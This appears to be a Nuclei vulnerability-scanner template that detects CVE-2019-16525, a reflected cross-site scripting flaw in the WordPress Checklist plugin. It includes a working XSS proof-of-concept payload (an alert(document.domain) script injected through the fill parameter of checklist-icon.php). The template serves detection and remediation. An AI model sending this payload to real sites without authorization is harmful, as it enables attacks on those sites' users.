id: CVE-2019-16525

info:
  name: WordPress Checklist <1.1.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Checklist plugin before 1.1.9 contains a cross-site scripting vulnerability. The fill parameter is not correctly filtered in the checklist-icon.php file.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Checklist plugin (1.1.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wordpress.org/plugins/checklist/#developers
    - https://packetstormsecurity.com/files/154436/WordPress-Checklist-1.1.5-Cross-Site-Scripting.html
    - https://plugins.trac.wordpress.org/changeset/2155029/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16525
    - https://wpvulndb.com/vulnerabilities/9877
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16525
    cwe-id: CWE-79
    epss-score: 0.05549
    epss-percentile: 0.91829
    cpe: cpe:2.3:a:checklist:checklist:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: checklist
    product: checklist
    framework: wordpress
  tags: cve,cve2019,xss,wp-plugin,packetstorm,wordpress,checklist,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/checklist/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Checklist'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/checklist/images/checklist-icon.php?&fill=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e4a1d44aec80e36ffbf7e8ab0dd1df02b633a8afd274e2e543bfab6be7f9de5802206acc58184e943953f7bcfbc432af22d7f8e45446b832ee050f0f702ee7991c42:922c64590222798bb761d5b6d8e72950